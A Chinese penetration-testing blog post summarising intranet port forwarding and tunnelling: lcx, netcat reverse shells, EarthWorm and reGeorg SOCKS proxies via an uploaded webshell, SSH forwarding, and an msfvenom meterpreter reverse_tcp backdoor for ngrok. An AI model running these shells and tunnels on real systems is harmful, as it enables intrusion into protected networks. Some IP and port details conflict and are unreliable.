4、內網埠轉發及穿透(合集)

FLy_鵬程萬里發表於2018-06-10

最近嘗試了一些內網埠的轉發和內網穿透,現在一起總結一下。


0x01 正向和反向代理

正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明; 反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。 實際上 proxy 在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後者叫做反向代理。

正向代理 (Forward Proxy)

Lhost--》proxy--》Rhost

Lhost 為了訪問到 Rhost,向 proxy 傳送了一個請求並且指定目標是 Rhost,然後 proxy 向 Rhost 轉交請求並將獲得的內容返回給 Lhost,簡單來說正向代理就是 proxy 代替了我們去訪問 Rhost。

反向代理(reverse proxy)

Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(廢話),Lhost 只向 proxy 傳送普通的請求,具體讓他轉到哪裡,proxy 自己判斷,然後將返回的資料遞交回來,這樣的好處就是在某些防火牆只允許 proxy 資料進出的時候可以有效的進行穿透

簡單區分

正向代理代理的是客戶端,反向代理代理的是服務端,正向代理是我們自己 (Lhost) 戴套 (proxy) 插進去,反向代理是她 (Rhost) 主動通過上位 (proxy) 坐上來(Lhost)。

0x02 lcx 轉發

內網 IP:192.168.153.138
公網 ip:192.168.153.140
由於是本地實驗,我這裡將 138 的防火牆開啟,當作內網環境,140 防火牆關閉,充當公網 ip,所以正常情況下只能 138 訪問 140,而 140 不能直接訪問 138。這是兩臺機器互相 ping 的結果。



\1. 內網機器上執行:lcx.exe –slave 公網 IP + 埠 內網 IP + 埠

lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389


將內網 (192.168.153.138) 的 3389 埠轉發到公網 (192.168.153.138) 的 4444 埠
\2. 公網 (192.168.153.138) 執行:lcx -listen 4444 5555


監聽公網 4444 埠請求,並將 4444 的請求傳送給 5555 埠。
此時已經把內網的 3389 埠轉發到了公網的 5555 埠。可以通過 127.0.0.1:5555 連線到內網的遠端桌面。



0x03 nc 反彈

正向連線

在內網執行

nc -l -p 5555 -t -e cmd.exe


-t是通過 telne 模式執行 cmd.exe 程式,可以省略。
在公網執行

nc -nvv 192.168.153.138 5555


反向連線

在公網監聽nc -lp 5555


在內網機器反彈nc -t -e cmd 192.168.153.140 5555


0x04 socks 代理工具

常見的 socks 代理工具介紹如下
1.Earthworm 工具網址
http://rootkiter.com/EarthWorm

EW 是一套行動式的網路穿透工具,具有 SOCKS v5 服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。該工具能夠以 “正向”、“反向”、“多級級聯” 等方式打通一條網路隧道,直達網路深處,用蚯蚓獨有的手段突破網路限制,給防火牆鬆土。工具包中提供了多種可執行檔案,以適用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內, 強烈推薦使用。

目前已經有了最新版 Termite,工具網址:http://rootkiter.com/Termite/

2.reGeorg 工具網址:https://github.com/NoneNotNull/reGeorg

reGeorg 是 reDuh 的升級版,主要是把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用 webshell 建立一個 socks 代理進行內網穿透,伺服器必須支援 aspx、php 或 jsp 這些 web 程式中的一種。

3.sSocks 工具網址:http://sourceforge.net/projects/ssocks/

sSocks 是一個 socks 代理工具套裝,可用來開啟 socks 代理服務,支援 socks5 驗證,支援 IPV6 和 UDP,並提供反向 socks 代理服務,即將遠端計算機作為 socks 代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為 0.0.13。

4.SocksCap64 工具網址:http://www.sockscap64.com (需翻牆)

SocksCap64 是一款在 windows 下相當好使的全域性代理軟體。SocksCap64 可以使 Windows 應用程式通過 SOCKS 代理伺服器來訪問網路而不需要對這些應用程式做任何修改, 即使某些本身不支援 SOCKS 代理的應用程式通過 SocksCap64 之後都可以完美的實現代理訪問。

5.proxychains 工具網址:http://proxychains.sourceforge.net/

Proxychains 是一款在 LINUX 下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許 TCP 和 DNS 通過代理隧道,支援 HTTP、SOCKS4、SOCKS5 型別的代理伺服器,支援 proxy chain,即可配置多個代理,同一個 proxy chain 可使用不同型別的代理伺服器

0x04.1 reGeorg+Proxychains 代理

上傳 reGeorg 的 tunnel.jsp 到伺服器。訪問連結,並轉發到本地埠。

python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp


使用設定 proxychains 的代理埠,進行訪問,一般配合 nmap 和 metasploit 進行後續內網滲透。
ps:proxychains 不支援 udp 和 icmp 協議,所以使用 nmap 要加上-sT -Pn即使用 tcp 協議且不使用 icmp 協議。


0x04.2 ew 穿透

該工具借用了 ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化。


說明

目前工具提供六種鏈路狀態,可通過 -s 引數進行選定,分別為:
    ssocksd   rcsocks   rssocks   
    lcx_slave lcx_tran  lcx_listen
    其中 SOCKS5 服務的核心邏輯支援由 ssocksd 和 rssocks 提供,分別對應正向與反向socks代理。
    其餘的 lcx 鏈路狀態用於打通測試主機同 socks 伺服器之間的通路。
lcx 類別管道:
    lcx_slave  該管道一側通過反彈方式連線代理請求方,另一側連線代理提供主機。
    lcx_tran   該管道,通過監聽本地埠接收代理請求,並轉交給代理提供主機。
    lcx_listen 該管道,通過監聽本地埠接收資料,並將其轉交給目標網路回連的代理提供主機。
    通過組合lcx類別管道的特性,可以實現多層內網環境下的滲透測試。
    下面是一個三級跳的本地測試例子。。。
    ./ew -s rcsocks -l 1080 -e 8888
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    ./ew -s lcx_listen -l 9999 -e 7777
    ./ew -s rssocks -d 127.0.0.1 -e 7777
    資料流向為   IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
0x04.2.1 正向 SOCKS5 伺服器

當目標網路邊界存在公網 IP 且可任意開監聽埠

ew_for_Win.exe -s ssocksd -l 8888


上述命令是在該機器(192.168.153.140)開啟一個 8888 的正向連線埠。然後其它主機可通過設定代理為 192.168.153.140:8888 新增這個代理。這裡使用的是 proxychains


0x04.2.2 反彈 SOCKS5 伺服器

當目標網路邊界不存在公網 IP,通過反彈方式建立 socks 代理。
先在一臺具有公網 ip 的主機 A 上執行以下命令

./ew_for_linux64 -s rcsocks -l 1080 -e 8888


意思是在我們公網 VPS 上新增一個轉接隧道,把 1080 埠收到的代理請求轉交給 8888 埠

在目標主機 B 上啟動 SOCKS5 服務 並反彈到公網主機的 8888 埠

ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888


本地主機(192.168.153.129)然後通過新增公網 192.168.153.129:1080 這個代理, 來訪問內網機器(192.168.153.129)
當然如果本地主機如果是公網 ip,就可以把在公網執行的步驟放在本地執行即可。


0x04.2.3 二級網路環境(一)

假設我們獲得了右側 A 主機和 B 主機的控制許可權,A 主機配有 2 塊網路卡,一塊 10.129.72.168 連通外網,一塊 192.168.153.140 只能連線內網 B 主機,無法訪問內網其它資源。B 主機可以訪問內網資源,但無法訪問外網。


先上傳 ew 到 B 主機,利用 ssocksd 方式啟動 8888 埠的 SOCKS 代理,命令如下

ew_for_Win.exe -s ssocksd -l 8888

然後在 A 主機執行

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888


含義是將 1080 埠收到的代理請求轉交給 B 主機(192.168.153.138)的 8888 埠
然後 My pc 就可以通過 A 的外網代理 10.129.72.168:1080 訪問 B。


0x04.2.4 二級網路環境(二)

假設我們獲得了右側 A 主機和 B 主機的控制許可權,A 主機沒有公網 IP,也無法訪問內網資源。B 主機可以訪問內網資源,但無法訪問外網。


這次操作有四步。

  1. 在公網 vps(45.xxx.xxx.72)新增轉接隧道,將 10800 埠收到的代理請求轉交給 8888 埠

   ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888


2.B(192.168.153.138)主機正向開啟 8888 埠

ew_for_Win.exe -s ssocksd -l 9999


3.A 主機利用 lcx_slave 方式,將公網 VPS 的 888 埠和 B 主機的 999 埠連線起來

ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999


現在 my pc 可通過訪問 45.xxx.xxx.72:10800 來使用 192.168.153.138 主機提供的 socks5 代理,代理成功,vps 會有 rssocks cmd_socket OK! 提示



0x05 ssh 隧道代理轉發

ssh 有三個強大的埠轉發命令,分別是本地轉發、遠端轉發、動態轉發。

本地訪問127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地轉發
訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #遠端轉發
可以將dmz_host的hostport埠通過remote_ip轉發到本地的port埠
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,監聽本地port
可以將dmz_host的hostport埠轉發到remote_ip的port埠
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用於內網穿透防火牆限制之類
socket代理:
ssh -qTfnN -D port remotehost
引數詳解:
-q Quiet mode. 安靜模式
-T Disable pseudo-tty allocation. 不佔用 shell 了
-f Requests ssh to go to background just before command execution. 後臺執行,並推薦加上 -n 引數
-N Do not execute a remote command. 不執行遠端命令,埠轉發就用它了
-L port:host:hostport 
將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 同時遠端主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有 root 才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport
-R port:host:hostport 
將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠. 工作原理是這樣的, 遠端主機上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有用 root 登入遠端主機才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport
-D port 
指定一個本地機器 “動態的’’ 應用程式埠轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 根據應用程式的協議可以判斷出遠端主機將和哪裡連線. 目前支援 SOCKS協議, 將充當SOCKS伺服器. 只有 root 才能轉發特權埠. 可以在配置檔案中指定動態埠的轉發.

0x05.1 ssh 本地轉發

遠端管理伺服器上的 mysql,mysql 不能直接 root 遠端登陸。這時候就可以通過本地轉發,通過 ssh 將伺服器的 3306 埠轉發到本地 1234 埠

ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121


0x05.2 ssh 遠端轉發

內網的伺服器,外網不能直接訪問,使用遠端轉發,將內網的伺服器埠轉發到外網埠。這時候訪問外網的埠,就訪問到了內網的埠。

ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142



現在在 192.168.153.142 訪問 127.0.0.1:81 就是訪問內網的伺服器的 80 埠。

0x05.2 ssh 動態轉發 socks 代理

把遠端主機設定成代理,來代理訪問不能訪問的資源。在地機器上分配了一個監聽埠, 一旦這個埠上有了連線, 該連線就經過 ssh 隧道轉發出去, 根據應用程式的協議可以判斷出遠端主機將和哪裡連線。

ssh -qTfnN -D 1080  root@45.32.31.121



0x06 內網穿透平臺

例如 https://www.ngrok.cc/、https://natapp.cn / 等
以 ngrok 為例,註冊並開通隧道


下載對應的客戶端,下載地址為:https://www.ngrok.cc/#down-client 。
執行



生成 backdoor。監聽的 IP 為 server.ngrok.cc 的 ip,埠為開通隧道時填寫的遠端埠

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56  LPORT=52524 -f exe > shell.exe

kali 上執行


0x07 參考

  1. SSH 隧道與埠轉發及內網穿透
  2. SSH 的埠轉發
  3. 內網滲透隨想
  4. 從零開始內網滲透學習
  5. 內網滲透中轉發工具總結
  6. MS17-010 漏洞檢測與內網穿透技術的應用
  7. 內網漫遊之 SOCKS 代理大結局
  8. 正向代理和反向代理的區別

相關文章